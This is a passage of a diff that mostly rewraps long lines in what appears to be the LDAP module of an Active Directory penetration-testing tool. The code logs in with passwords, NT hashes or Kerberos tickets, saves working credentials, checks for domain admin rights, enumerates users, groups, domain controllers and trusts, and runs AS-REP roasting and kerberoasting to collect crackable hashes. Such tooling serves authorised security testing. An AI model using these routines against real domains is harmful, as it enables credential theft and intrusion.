ntlm_hash="", aesKey="", kdcHost="", useCache=False): if self.auth_choice == "simple": - self.logger.fail("Simple bind and Kerberos authentication are mutually exclusive.") + self.logger.fail( + "Simple bind and Kerberos authentication are mutually exclusive.") return False - self.username = username if not self.args.use_kcache else self.username # With ccache we get the username from the ticket + # With ccache we get the username from the ticket + self.username = username if not self.args.use_kcache else self.username self.password = password self.domain = domain self.kdcHost = kdcHost @@ -392,7 +421,8 @@ def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", hash_asreproast.write(f"{hash_tgt}\n") return False - kerb_pass = next(s for s in [self.nthash, password, aesKey] if s) if not all(s == "" for s in [self.nthash, password, aesKey]) else "" + kerb_pass = next(s for s in [self.nthash, password, aesKey] if s) if not all( + s == "" for s in [self.nthash, password, aesKey]) else "" try: # Connect to LDAP @@ -400,28 +430,38 @@ def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", self.logger.extra["port"] = "636" if self.port == 636 else "389" proto = "ldaps" if self.port == 636 else "ldap" ldap_url = f"{proto}://{self.target}" - self.logger.info(f"Connecting to {ldap_url} - {self.baseDN} - {self.host} [1]") - self.ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host) - self.ldap_connection.kerberosLogin(username, password, domain, self.lmhash, self.nthash, aesKey, kdcHost=kdcHost, useCache=useCache) + self.logger.info( + f"Connecting to {ldap_url} - {self.baseDN} - {self.host} [1]") + self.ldap_connection = ldap_impacket.LDAPConnection( + url=ldap_url, baseDN=self.baseDN, dstIp=self.host) + self.ldap_connection.kerberosLogin( + username, password, domain, self.lmhash, self.nthash, aesKey, kdcHost=kdcHost, useCache=useCache) if self.username == "": self.username = self.get_ldap_username() self.check_if_admin() if password: - self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.password}") - self.db.add_credential("plaintext", domain, self.username, self.password) + self.logger.debug( + f"Adding credential: {domain}/{self.username}:{self.password}") + self.db.add_credential( + "plaintext", domain, self.username, self.password) elif ntlm_hash: - self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.hash}") - self.db.add_credential("hash", domain, self.username, self.hash) + self.logger.debug( + f"Adding credential: {domain}/{self.username}:{self.hash}") + self.db.add_credential( + "hash", domain, self.username, self.hash) used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}" - self.logger.success(f"{domain}\\{self.username}{used_ccache} {self.mark_pwned()}") + self.logger.success( + f"{domain}\\{self.username}{used_ccache} {self.mark_pwned()}") if self.username != "": - add_user_bh(self.username, self.domain, self.logger, self.config) + add_user_bh(self.username, self.domain, + self.logger, self.config) if self.admin_privs: - add_user_bh(f"{self.hostname}$", domain, self.logger, self.config) + add_user_bh(f"{self.hostname}$", domain, + self.logger, self.config) return True except SessionKeyDecryptionError: # for PRE-AUTH account @@ -451,7 +491,8 @@ def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", except ldap_impacket.LDAPSessionError as e: if str(e).find("strongerAuthRequired") >= 0: # This should actually not happen anymore as impacket now supports LDAP signing/sealing via GSSAPI - self.logger.error("StrongerAuthRequired Error on login: This should not happen anymore, please contact the devs and open an issue on github!") + self.logger.error( + "StrongerAuthRequired Error on login: This should not happen anymore, please contact the devs and open an issue on github!") # We need to try SSL try: # Connect to LDAPS @@ -459,28 +500,38 @@ def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", self.logger.extra["port"] = "636" self.port = 636 ldaps_url = f"ldaps://{self.target}" - self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host} [2]") - self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host) - self.ldap_connection.kerberosLogin(username, password, domain, self.lmhash, self.nthash, aesKey, kdcHost=kdcHost, useCache=useCache) + self.logger.info( + f"Connecting to {ldaps_url} - {self.baseDN} - {self.host} [2]") + self.ldap_connection = ldap_impacket.LDAPConnection( + url=ldaps_url, baseDN=self.baseDN, dstIp=self.host) + self.ldap_connection.kerberosLogin( + username, password, domain, self.lmhash, self.nthash, aesKey, kdcHost=kdcHost, useCache=useCache) if self.username == "": self.username = self.get_ldap_username() self.check_if_admin() if password: - self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.password}") - self.db.add_credential("plaintext", domain, self.username, self.password) + self.logger.debug( + f"Adding credential: {domain}/{self.username}:{self.password}") + self.db.add_credential( + "plaintext", domain, self.username, self.password) elif ntlm_hash: - self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.hash}") - self.db.add_credential("hash", domain, self.username, self.hash) + self.logger.debug( + f"Adding credential: {domain}/{self.username}:{self.hash}") + self.db.add_credential( + "hash", domain, self.username, self.hash) # Prepare success credential text - self.logger.success(f"{domain}\\{self.username} {self.mark_pwned()}") + self.logger.success( + f"{domain}\\{self.username} {self.mark_pwned()}") if self.username != "": - add_user_bh(self.username, self.domain, self.logger, self.config) + add_user_bh(self.username, self.domain, + self.logger, self.config) if self.admin_privs: - add_user_bh(f"{self.hostname}$", domain, self.logger, self.config) + add_user_bh(f"{self.hostname}$", domain, + self.logger, self.config) return True except SessionError as e: error, desc = e.getErrorString() @@ -523,28 +574,38 @@ def plaintext_login(self, domain, username, password): self.logger.extra["port"] = "636" if self.port == 636 else "389" proto = "ldaps" if self.port == 636 else "ldap" ldap_url = f"{proto}://{self.target}" - self.logger.info(f"Connecting to {ldap_url} - {self.baseDN} - {self.host} [3]") - self.ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host, signing=self.auth_choice != "simple") - self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash, authenticationChoice=self.auth_choice) + self.logger.info( + f"Connecting to {ldap_url} - {self.baseDN} - {self.host} [3]") + self.ldap_connection = ldap_impacket.LDAPConnection( + url=ldap_url, baseDN=self.baseDN, dstIp=self.host, signing=self.auth_choice != "simple") + self.ldap_connection.login(self.username, self.password, self.domain, + self.lmhash, self.nthash, authenticationChoice=self.auth_choice) self.check_if_admin() - self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.password}") - self.db.add_credential("plaintext", domain, self.username, self.password) + self.logger.debug( + f"Adding credential: {domain}/{self.username}:{self.password}") + self.db.add_credential("plaintext", domain, + self.username, self.password) # Prepare success credential text - self.logger.success(f"{domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}") + self.logger.success( + f"{domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}") if self.username != "": - add_user_bh(self.username, self.domain, self.logger, self.config) + add_user_bh(self.username, self.domain, + self.logger, self.config) if self.admin_privs: - add_user_bh(f"{self.hostname}$", domain, self.logger, self.config) + add_user_bh(f"{self.hostname}$", domain, + self.logger, self.config) return True except ldap_impacket.LDAPSessionError as e: if str(e).find("strongerAuthRequired") >= 0: # This should actually not happen anymore as impacket now supports LDAP signing/sealing via GSSAPI if self.args.simple_bind: - self.logger.fail("StrongerAuthRequired error on login: SIMPLE bind cannot work with signing/sealing enforced. Falling back to LDAPS.") + self.logger.fail( + "StrongerAuthRequired error on login: SIMPLE bind cannot work with signing/sealing enforced. Falling back to LDAPS.") else: - self.logger.error("StrongerAuthRequired error on login: This should not happen anymore, please contact the devs and open an issue on github!") + self.logger.error( + "StrongerAuthRequired error on login: This should not happen anymore, please contact the devs and open an issue on github!") # We need to try SSL try: # Connect to LDAPS @@ -552,36 +613,47 @@ def plaintext_login(self, domain, username, password): self.logger.extra["port"] = "636" self.port = 636 ldaps_url = f"ldaps://{self.target}" - self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host} [4]") - self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host) - self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash, authenticationChoice=self.auth_choice) + self.logger.info( + f"Connecting to {ldaps_url} - {self.baseDN} - {self.host} [4]") + self.ldap_connection = ldap_impacket.LDAPConnection( + url=ldaps_url, baseDN=self.baseDN, dstIp=self.host) + self.ldap_connection.login(self.username, self.password, self.domain, + self.lmhash, self.nthash, authenticationChoice=self.auth_choice) self.check_if_admin() - self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.password}") - self.db.add_credential("plaintext", domain, self.username, self.password) + self.logger.debug( + f"Adding credential: {domain}/{self.username}:{self.password}") + self.db.add_credential( + "plaintext", domain, self.username, self.password) # Prepare success credential text - self.logger.success(f"{domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}") + self.logger.success( + f"{domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}") if self.username != "": - add_user_bh(self.username, self.domain, self.logger, self.config) + add_user_bh(self.username, self.domain, + self.logger, self.config) if self.admin_privs: - add_user_bh(f"{self.hostname}$", domain, self.logger, self.config) + add_user_bh(f"{self.hostname}$", domain, + self.logger, self.config) return True except Exception as e: error_code = str(e).split()[-2][:-1] self.logger.fail( f"{self.domain}\\{self.username}:{process_secret(self.password)} {ldap_error_status.get(error_code, '')}", - color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red", + color="magenta" if ( + error_code in ldap_error_status and error_code != 1) else "red", ) else: error_code = str(e).split()[-2][:-1] self.logger.fail( f"{self.domain}\\{self.username}:{process_secret(self.password)} {ldap_error_status.get(error_code, '')}", - color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red", + color="magenta" if ( + error_code in ldap_error_status and error_code != 1) else "red", ) return False except OSError as e: - self.logger.fail(f"{self.domain}\\{self.username}:{process_secret(self.password)} {'Error connecting to the domain, are you sure LDAP service is running on the target?'} \nError: {e}") + self.logger.fail( + f"{self.domain}\\{self.username}:{process_secret(self.password)} {'Error connecting to the domain, are you sure LDAP service is running on the target?'} \nError: {e}") return False def hash_login(self, domain, username, ntlm_hash): @@ -619,11 +691,15 @@ def hash_login(self, domain, username, ntlm_hash): self.logger.extra["port"] = "636" if self.port == 636 else "389" proto = "ldaps" if self.port == 636 else "ldap" ldaps_url = f"{proto}://{self.target}" - self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host}") - self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host) - self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) + self.logger.info( + f"Connecting to {ldaps_url} - {self.baseDN} - {self.host}") + self.ldap_connection = ldap_impacket.LDAPConnection( + url=ldaps_url, baseDN=self.baseDN, dstIp=self.host) + self.ldap_connection.login( + self.username, self.password, self.domain, self.lmhash, self.nthash) self.check_if_admin() - self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.hash}") + self.logger.debug( + f"Adding credential: {domain}/{self.username}:{self.hash}") self.db.add_credential("hash", domain, self.username, self.hash) # Prepare success credential text @@ -631,51 +707,64 @@ def hash_login(self, domain, username, ntlm_hash): self.logger.success(out) if self.username != "": - add_user_bh(self.username, self.domain, self.logger, self.config) + add_user_bh(self.username, self.domain, + self.logger, self.config) if self.admin_privs: - add_user_bh(f"{self.hostname}$", domain, self.logger, self.config) + add_user_bh(f"{self.hostname}$", domain, + self.logger, self.config) return True except ldap_impacket.LDAPSessionError as e: if str(e).find("strongerAuthRequired") >= 0: # This should actually not happen anymore as impacket now supports LDAP signing/sealing via GSSAPI - self.logger.error("StrongerAuthRequired error on login: This should not happen anymore, please contact the devs and open an issue on github!") + self.logger.error( + "StrongerAuthRequired error on login: This should not happen anymore, please contact the devs and open an issue on github!") try: # We need to try SSL self.logger.extra["protocol"] = "LDAPS" self.logger.extra["port"] = "636" self.port = 636 ldaps_url = f"ldaps://{self.target}" - self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host}") - self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host) - self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) + self.logger.info( + f"Connecting to {ldaps_url} - {self.baseDN} - {self.host}") + self.ldap_connection = ldap_impacket.LDAPConnection( + url=ldaps_url, baseDN=self.baseDN, dstIp=self.host) + self.ldap_connection.login( + self.username, self.password, self.domain, self.lmhash, self.nthash) self.check_if_admin() - self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.hash}") - self.db.add_credential("hash", domain, self.username, self.hash) + self.logger.debug( + f"Adding credential: {domain}/{self.username}:{self.hash}") + self.db.add_credential( + "hash", domain, self.username, self.hash) # Prepare success credential text out = f"{domain}\\{self.username}:{process_secret(self.nthash)} {self.mark_pwned()}" self.logger.success(out) if self.username != "": - add_user_bh(self.username, self.domain, self.logger, self.config) + add_user_bh(self.username, self.domain, + self.logger, self.config) if self.admin_privs: - add_user_bh(f"{self.hostname}$", domain, self.logger, self.config) + add_user_bh(f"{self.hostname}$", domain, + self.logger, self.config) return True except ldap_impacket.LDAPSessionError as e: error_code = str(e).split()[-2][:-1] self.logger.fail( f"{self.domain}\\{self.username}:{process_secret(nthash)} {ldap_error_status.get(error_code, '')}", - color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red", + color="magenta" if ( + error_code in ldap_error_status and error_code != 1) else "red", ) else: error_code = str(e).split()[-2][:-1] self.logger.fail( f"{self.domain}\\{self.username}:{process_secret(nthash)} {ldap_error_status.get(error_code, '')}", - color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red", + color="magenta" if ( + error_code in ldap_error_status and error_code != 1) else "red", ) return False except OSError as e: - self.logger.fail(f"{self.domain}\\{self.username}:{process_secret(self.password)} {'Error connecting to the domain, are you sure LDAP service is running on the target?'} \nError: {e}") + self.logger.fail( + f"{self.domain}\\{self.username}:{process_secret(self.password)} {'Error connecting to the domain, are you sure LDAP service is running on the target?'} \nError: {e}") return False def get_sid(self): @@ -701,19 +790,23 @@ def check_if_admin(self): attributes = ["distinguishedName"] resp = self.search(search_filter, attributes, baseDN=self.baseDN) resp_parsed = parse_result_attributes(resp) - answers = [f"(memberOf:1.2.840.113556.1.4.1941:={item['distinguishedName']})" for item in resp_parsed] + answers = [ + f"(memberOf:1.2.840.113556.1.4.1941:={item['distinguishedName']})" for item in resp_parsed] if len(answers) == 0: - self.logger.debug("No groups with default privileged RID were found. Assuming user is not a Domain Administrator.") + self.logger.debug( + "No groups with default privileged RID were found. Assuming user is not a Domain Administrator.") return # 3. Build a filter to query if the primaryGroupID is one of these groups group_ids = ["512", "519", "544", "549", "551"] - primaryGroupID_filters = [f"(primaryGroupID={group_id})" for group_id in group_ids] + primaryGroupID_filters = [ + f"(primaryGroupID={group_id})" for group_id in group_ids] answers.extend(primaryGroupID_filters) # 4. Check if the user is member of one of these groups OR has one of these primaryGroupID search_filter = f"(&(objectCategory=user)(sAMAccountName={self.username})(|{''.join(answers)}))" - resp = self.search(search_filter, attributes=[], baseDN=self.baseDN) + resp = self.search(search_filter, attributes=[], + baseDN=self.baseDN) resp_parsed = parse_result_attributes(resp) for item in resp_parsed: if item: @@ -735,7 +828,8 @@ def search(self, searchFilter, attributes, sizeLimit=0, baseDN=None, searchContr self.logger.debug(f"Search Filter={searchFilter}") # Microsoft Active Directory set an hard limit of 1000 entries returned by any search - paged_search_control = [ldapasn1_impacket.SimplePagedResultsControl(criticality=True, size=1000)] if not self.no_ntlm else "" + paged_search_control = [ldapasn1_impacket.SimplePagedResultsControl( + criticality=True, size=1000)] if not self.no_ntlm else "" return self.ldap_connection.search( scope=self.scope, searchBase=baseDN, @@ -747,7 +841,8 @@ def search(self, searchFilter, attributes, sizeLimit=0, baseDN=None, searchContr except ldap_impacket.LDAPSearchError as e: if "sizeLimitExceeded" in str(e): # We should never reach this code as we use paged search now - self.logger.fail("sizeLimitExceeded exception caught, giving up and processing the data received") + self.logger.fail( + "sizeLimitExceeded exception caught, giving up and processing the data received") e.getAnswers() # if empty username and password is possible that we need to change the scope, we try with a baseObject before returning a fail elif "operationsError" in str(e) and self.scope is None and self.username == "" and self.password == "": @@ -778,7 +873,8 @@ def users(self): search_filter = "(sAMAccountType=805306368)" # Default to these attributes to mirror the SMB --users functionality - request_attributes = ["sAMAccountName", "description", "badPwdCount", "pwdLastSet"] + request_attributes = ["sAMAccountName", + "description", "badPwdCount", "pwdLastSet"] resp = self.search(search_filter, request_attributes, sizeLimit=0) users = [] @@ -786,18 +882,23 @@ def users(self): resp_parsed = parse_result_attributes(resp) # We print the total records after we parse the results since often SearchResultReferences are returned - self.logger.display(f"Enumerated {len(resp_parsed):d} domain users: {self.domain}") - self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<9}{'-Description-':<60}") + self.logger.display( + f"Enumerated {len(resp_parsed):d} domain users: {self.domain}") + self.logger.highlight( + f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<9}{'-Description-':<60}") for user in resp_parsed: pwd_last_set = user.get("pwdLastSet", "") if pwd_last_set: - pwd_last_set = "" if pwd_last_set == "0" else datetime.fromtimestamp(self.getUnixTime(int(pwd_last_set))).strftime("%Y-%m-%d %H:%M:%S") + pwd_last_set = "" if pwd_last_set == "0" else datetime.fromtimestamp( + self.getUnixTime(int(pwd_last_set))).strftime("%Y-%m-%d %H:%M:%S") # We default attributes to blank strings if they don't exist in the dict - self.logger.highlight(f"{user.get('sAMAccountName', ''):<30}{pwd_last_set:<20}{user.get('badPwdCount', ''):<9}{user.get('description', ''):<60}") + self.logger.highlight( + f"{user.get('sAMAccountName', ''):<30}{pwd_last_set:<20}{user.get('badPwdCount', ''):<9}{user.get('description', ''):<60}") users.append(user.get("sAMAccountName", "")) if self.args.users_export: - self.logger.display(f"Writing {len(resp_parsed):d} local users to {self.args.users_export}") + self.logger.display( + f"Writing {len(resp_parsed):d} local users to {self.args.users_export}") with open(self.args.users_export, "w+") as file: file.writelines(f"{user}\n" for user in users) @@ -810,7 +911,8 @@ def groups(self): self.logger.debug(f"Dumping group: {self.args.groups}") # Resolve group DN and primaryGroupID (objectSid) - group_resp = self.search(f"(cn={self.args.groups})", ["distinguishedName", "objectSid"]) + group_resp = self.search(f"(cn={self.args.groups})", [ + "distinguishedName", "objectSid"]) group_parsed = parse_result_attributes(group_resp) if not group_parsed: @@ -821,7 +923,8 @@ def groups(self): # Search filter: user must have membership OR primaryGroupID search_filter = f"(|(memberOf={group['distinguishedName']})(primaryGroupID={group['objectSid'].split('-')[-1]}))" - attributes = ["sAMAccountName", "distinguishedName", "cn", "objectClass"] + attributes = ["sAMAccountName", + "distinguishedName", "cn", "objectClass"] else: search_filter = "(objectCategory=group)" @@ -838,22 +941,27 @@ def groups(self): else: for item in resp_parsed: # Display sAMAccountName or CN if sAMAccountName not present (could be a group) - self.logger.highlight(item["sAMAccountName"] if "group" not in item["objectClass"] else item["cn"]) + self.logger.highlight( + item["sAMAccountName"] if "group" not in item["objectClass"] else item["cn"]) else: # Display all groups - self.logger.highlight(f"{'-Group-':<40} {'-Members-':<9} {'-Description-':<60}") + self.logger.highlight( + f"{'-Group-':<40} {'-Members-':<9} {'-Description-':<60}") for item in resp_parsed: try: # Fix if group has only one member if not isinstance(item.get("member", []), list): item["member"] = [item["member"]] - self.logger.highlight(f"{item['cn']:<40} {len(item.get('member', [])):<9} {item.get('description', '')}") + self.logger.highlight( + f"{item['cn']:<40} {len(item.get('member', [])):<9} {item.get('description', '')}") except Exception as e: self.logger.debug("Exception:", exc_info=True) - self.logger.debug(f"Skipping item, cannot process due to error {e}") + self.logger.debug( + f"Skipping item, cannot process due to error {e}") def computers(self): - resp = self.search(f"(sAMAccountType={SAM_MACHINE_ACCOUNT})", ["sAMAccountName"]) + resp = self.search(f"(sAMAccountType={SAM_MACHINE_ACCOUNT})", [ + "sAMAccountName"]) resp_parsed = parse_result_attributes(resp) if resp: @@ -866,7 +974,8 @@ def dc_list(self): resolv = resolver.Resolver(configure=False) ns = self.args.dns_server or self.host resolv.nameservers = [socket.gethostbyname(ns)] - self.logger.debug(f"DNS Server option: {self.args.dns_server}, using DNS server: {resolv.nameservers}") + self.logger.debug( + f"DNS Server option: {self.args.dns_server}, using DNS server: {resolv.nameservers}") resolv.timeout = self.args.dns_timeout def resolve_and_display_hostname(name, domain_name=None): @@ -875,33 +984,44 @@ def resolve_and_display_hostname(name, domain_name=None): # Resolve using DNS server for A, AAAA, CNAME, PTR, and NS records for record_type in ["A", "AAAA", "CNAME", "PTR", "NS"]: try: - answers = resolv.resolve(name, record_type, tcp=self.args.dns_tcp) + answers = resolv.resolve( + name, record_type, tcp=self.args.dns_tcp) for rdata in answers: if record_type in ["A", "AAAA"]: ip_address = rdata.to_text() - self.logger.highlight(f"{prefix}{name} = {colored(ip_address, host_info_colors[0])}") + self.logger.highlight( + f"{prefix}{name} = {colored(ip_address, host_info_colors[0])}") return elif record_type == "CNAME": - self.logger.highlight(f"{prefix}{name} CNAME = {colored(rdata.to_text(), host_info_colors[0])}") + self.logger.highlight( + f"{prefix}{name} CNAME = {colored(rdata.to_text(), host_info_colors[0])}") return elif record_type == "PTR": - self.logger.highlight(f"{prefix}{name} PTR = {colored(rdata.to_text(), host_info_colors[0])}") + self.logger.highlight( + f"{prefix}{name} PTR = {colored(rdata.to_text(), host_info_colors[0])}") return elif record_type == "NS": - self.logger.highlight(f"{prefix}{name} NS = {colored(rdata.to_text(), host_info_colors[0])}") + self.logger.highlight( + f"{prefix}{name} NS = {colored(rdata.to_text(), host_info_colors[0])}") return except resolver.NXDOMAIN: - self.logger.fail(f"{prefix}{name} ({record_type}) = Host not found (NXDOMAIN)") + self.logger.fail( + f"{prefix}{name} ({record_type}) = Host not found (NXDOMAIN)") except resolver.Timeout: - self.logger.fail(f"{prefix}{name} ({record_type}) = Connection timed out") + self.logger.fail( + f"{prefix}{name} ({record_type}) = Connection timed out") except resolver.NoAnswer: - self.logger.fail(f"{prefix}{name} ({record_type}) = DNS server did not respond") + self.logger.fail( + f"{prefix}{name} ({record_type}) = DNS server did not respond") except resolver.NoNameservers: - self.logger.fail(f"{prefix}{name} ({record_type}) = No nameservers available") + self.logger.fail( + f"{prefix}{name} ({record_type}) = No nameservers available") except Exception as e: - self.logger.fail(f"{prefix}{name} ({record_type}) encountered an unexpected error: {e}") + self.logger.fail( + f"{prefix}{name} ({record_type}) encountered an unexpected error: {e}") except Exception as e: - self.logger.fail(f"Skipping item(dNSHostName) {prefix}{name}, error: {e}") + self.logger.fail( + f"Skipping item(dNSHostName) {prefix}{name}, error: {e}") # Find all domain controllers in the current domain self.logger.info("Enumerating Domain Controllers in current domain...") @@ -917,7 +1037,8 @@ def resolve_and_display_hostname(name, domain_name=None): # Find all trusted domains self.logger.info("Enumerating Trusted Domains...") search_filter = "(objectClass=trustedDomain)" - attributes = ["name", "trustDirection", "trustType", "trustAttributes", "flatName"] + attributes = ["name", "trustDirection", + "trustType", "trustAttributes", "flatName"] resp = self.search(search_filter, attributes, 0) trust_resp_parse = parse_result_attributes(resp) @@ -966,8 +1087,10 @@ def resolve_and_display_hostname(name, domain_name=None): 5: "Azure Active Directory", }[trust_type] - self.logger.info(f"Processing trusted domain: {trust_name} ({trust_flat_name})") - self.logger.info(f"Trust type: {trust_type_text}, Direction: {direction_text}, Trust Attributes: {trust_attributes_text}") + self.logger.info( + f"Processing trusted domain: {trust_name} ({trust_flat_name})") + self.logger.info( + f"Trust type: {trust_type_text}, Direction: {direction_text}, Trust Attributes: {trust_attributes_text}") except Exception as e: self.logger.fail(f"Failed {e} in trust entry: {trust}") @@ -978,56 +1101,72 @@ def resolve_and_display_hostname(name, domain_name=None): # Check if we can resolve the trusted domain's DC using DNS dc_dns_name = f"_ldap._tcp.dc._msdcs.{trust_name}" try: - srv_records = resolv.resolve(dc_dns_name, "SRV", tcp=self.args.dns_tcp) - self.logger.info(f"Found domain controllers for trusted domain {trust_name} via DNS:") + srv_records = resolv.resolve( + dc_dns_name, "SRV", tcp=self.args.dns_tcp) + self.logger.info( + f"Found domain controllers for trusted domain {trust_name} via DNS:") for srv in srv_records: dc_hostname = str(srv.target).rstrip(".") - self.logger.success(f"Found DC in trusted domain: {colored(dc_hostname, host_info_colors[0], attrs=['bold'])}") - self.logger.highlight(f"{trust_name} -> {direction_text} -> {trust_attributes_text}") + self.logger.success( + f"Found DC in trusted domain: {colored(dc_hostname, host_info_colors[0], attrs=['bold'])}") + self.logger.highlight( + f"{trust_name} -> {direction_text} -> {trust_attributes_text}") resolve_and_display_hostname(dc_hostname) except Exception as e: - self.logger.fail(f"Failed to resolve DCs for {trust_name} via DNS: {e}") + self.logger.fail( + f"Failed to resolve DCs for {trust_name} via DNS: {e}") else: - self.logger.display(f"Skipping non-Active Directory trust '{trust_name}' with type: {trust_type_text} and direction: {direction_text}") + self.logger.display( + f"Skipping non-Active Directory trust '{trust_name}' with type: {trust_type_text} and direction: {direction_text}") self.logger.info("Domain Controller enumeration complete.") def active_users(self): if len(self.args.active_users) > 0: - self.logger.debug(f"Dumping users: {', '.join(self.args.active_users)}") + self.logger.debug( + f"Dumping users: {', '.join(self.args.active_users)}") search_filter = f"(|{''.join(f'(sAMAccountName={user})' for user in self.args.active_users)})" else: self.logger.debug("Trying to dump all users") search_filter = "(sAMAccountType=805306368)" # Default to these attributes to mirror the SMB --users functionality - request_attributes = ["sAMAccountName", "description", "badPwdCount", "pwdLastSet", "userAccountControl"] + request_attributes = ["sAMAccountName", "description", + "badPwdCount", "pwdLastSet", "userAccountControl"] resp = self.search(search_filter, request_attributes, sizeLimit=0) if resp: all_users = parse_result_attributes(resp) # Filter disabled users (ignore accounts without userAccountControl value) - active_users = [user for user in all_users if not (int(user.get("userAccountControl", UF_ACCOUNTDISABLE)) & UF_ACCOUNTDISABLE)] + active_users = [user for user in all_users if not ( + int(user.get("userAccountControl", UF_ACCOUNTDISABLE)) & UF_ACCOUNTDISABLE)] - self.logger.display(f"Total records returned: {len(all_users)}, total {len(all_users) - len(active_users):d} user(s) disabled") - self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<9}{'-Description-':<60}") + self.logger.display( + f"Total records returned: {len(all_users)}, total {len(all_users) - len(active_users):d} user(s) disabled") + self.logger.highlight( + f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<9}{'-Description-':<60}") for user in active_users: pwd_last_set = user.get("pwdLastSet", "") if pwd_last_set: - pwd_last_set = "" if pwd_last_set == "0" else datetime.fromtimestamp(self.getUnixTime(int(pwd_last_set))).strftime("%Y-%m-%d %H:%M:%S") - self.logger.highlight(f"{user.get('sAMAccountName', ''):<30}{pwd_last_set:<20}{user.get('badPwdCount', ''):<9}{user.get('description', '')}") + pwd_last_set = "" if pwd_last_set == "0" else datetime.fromtimestamp( + self.getUnixTime(int(pwd_last_set))).strftime("%Y-%m-%d %H:%M:%S") + self.logger.highlight( + f"{user.get('sAMAccountName', ''):<30}{pwd_last_set:<20}{user.get('badPwdCount', ''):<9}{user.get('description', '')}") def asreproast(self): # Building the search filter search_filter = f"(&(UserAccountControl:1.2.840.113556.1.4.803:={UF_DONT_REQUIRE_PREAUTH})(!(UserAccountControl:1.2.840.113556.1.4.803:={UF_ACCOUNTDISABLE}))(!(objectCategory=computer)))" - resp = self.search(search_filter, attributes=["sAMAccountName"], sizeLimit=0) + resp = self.search(search_filter, attributes=[ + "sAMAccountName"], sizeLimit=0) resp_parsed = parse_result_attributes(resp) if not resp_parsed: self.logger.highlight("No entries found!") else: - self.logger.display(f"Total of records returned {len(resp_parsed)}") + self.logger.display( + f"Total of records returned {len(resp_parsed)}") for user in resp_parsed: - hash_TGT = KerberosAttacks(self).get_tgt_asroast(user["sAMAccountName"]) + hash_TGT = KerberosAttacks( + self).get_tgt_asroast(user["sAMAccountName"]) if hash_TGT: self.logger.highlight(f"{hash_TGT}") with open(self.args.asreproast, "a+") as hash_asreproast: @@ -1039,7 +1178,8 @@ def kerberoasting(self): for item in self.args.no_preauth_targets: if os.path.isfile(item): with open(item, encoding="utf-8") as f: - usernames.extend(line.strip() for line in f if line.strip()) + usernames.extend(line.strip() + for line in f if line.strip()) else: usernames.append(item.strip()) @@ -1054,9 +1194,11 @@ def kerberoasting(self): continue if not self.username: - self.logger.fail("Likely executed without password flag. Please run the command with -p ''") + self.logger.fail( + "Likely executed without password flag. Please run the command with -p ''") return - hashline = KerberosAttacks(self).get_tgs_no_preauth(self.username, spn) + hashline = KerberosAttacks( + self).get_tgs_no_preauth(self.username, spn) if hashline: hashes.append(hashline) @@ -1080,16 +1222,19 @@ def kerberoasting(self): if os.path.isfile(item): try: with open(item, encoding="utf-8") as f: - target_accounts.extend(line.strip() for line in f if line.strip()) + target_accounts.extend(line.strip() + for line in f if line.strip()) except Exception as e: self.logger.fail(f"Failed to read file '{item}': {e}") else: target_accounts.append(item.strip()) - self.logger.info(f"Targeting specific accounts for kerberoasting: {', '.join(target_accounts)}") + self.logger.info( + f"Targeting specific accounts for kerberoasting: {', '.join(target_accounts)}") # build search filter for specific users - user_filter = "".join([f"(sAMAccountName={username})" for username in target_accounts]) + user_filter = "".join( + [f"(sAMAccountName={username})" for username in target_accounts]) searchFilter = f"(&(servicePrincipalName=*)(|{user_filter}))" else: # default to all @@ -1114,17 +1259,21 @@ def kerberoasting(self): self.logger.highlight("No entries found!") else: # Filter disabled accounts - disabled_accounts = [x for x in resp_parsed if int(x["userAccountControl"]) & UF_ACCOUNTDISABLE] + disabled_accounts = [x for x in resp_parsed if int( + x["userAccountControl"]) & UF_ACCOUNTDISABLE] for account in disabled_accounts: - self.logger.display(f"Skipping disabled account: {account['sAMAccountName']}") + self.logger.display( + f"Skipping disabled account: {account['sAMAccountName']}") # Get all enabled accounts - enabled = [x for x in resp_parsed if not int(x["userAccountControl"]) & UF_ACCOUNTDISABLE] + enabled = [x for x in resp_parsed if not int( + x["userAccountControl"]) & UF_ACCOUNTDISABLE] 